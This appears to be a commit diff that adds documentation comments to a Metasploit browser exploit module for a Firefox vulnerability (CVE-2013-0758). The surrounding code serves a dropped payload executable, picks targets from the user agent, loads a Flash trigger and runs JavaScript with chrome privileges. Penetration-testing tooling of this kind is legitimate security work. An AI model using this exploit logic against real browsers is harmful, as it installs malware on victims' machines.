@@ -100,10 +100,12 @@ def on_request_uri(cli, request)
100
100
handler ( cli )
101
101
end
102
102
103
+ # @return [String] the encoded executable for dropping onto the client's machine
103
104
def dropped_file_contents ( cli )
104
105
regenerate_payload ( cli ) . encoded_exe ( )
105
106
end
106
107
108
+ # @return [Msf::Module::Target] that matches the client's user-agent header
107
109
def get_target ( agent )
108
110
# browser detection
109
111
if agent !~ /firefox/i
@@ -124,11 +126,13 @@ def get_target(agent)
124
126
end
125
127
end
126
128
129
+ # @return [String] the contents of the .swf file used to trigger the exploit
127
130
def flash_trigger
128
131
swf_path = File . join ( Msf ::Config . install_root , "data" , "exploits" , "cve-2013-0758.swf" )
129
132
@flash_trigger ||= File . read ( swf_path )
130
133
end
131
134
135
+ # @return [String] the filename that will be used when the payload is dropped
132
136
def payload_filename
133
137
if target . name == 'Windows x86 (Native Payload)'
134
138
"#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .exe"
@@ -137,6 +141,7 @@ def payload_filename
137
141
end
138
142
end
139
143
144
+ # @return [String] containing javascript code to execute with chrome privileges
140
145
def js_payload
141
146
%Q|
142
147
#{ js_debug ( "Injection successful. JS executing with chrome privileges." ) }
@@ -167,10 +172,13 @@ def js_payload
167
172
|
168
173
end
169
174
175
+ # @return [String] containing javascript that will alert a debug string
176
+ # if the DEBUG is set to true
170
177
def js_debug ( str , quote = "'" )
171
178
if datastore [ 'DEBUG' ] then "alert(#{ quote } #{ str } #{ quote } )" else '' end
172
179
end
173
180
181
+ # @return [String] containing javascript that will chmod the dropped executable
174
182
def chmod_code
175
183
return '' if target . name == 'Windows x86 (Native Payload)'
176
184
%Q|
@@ -189,6 +197,7 @@ def base_url
189
197
"#{ proto } ://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ datastore [ 'URIPATH' ] } "
190
198
end
191
199
200
+ # @return [String] HTML that is sent in the first response to the client
192
201
def generate_html
193
202
vars = {
194
203
:symbol_id => 'a' ,
0 commit comments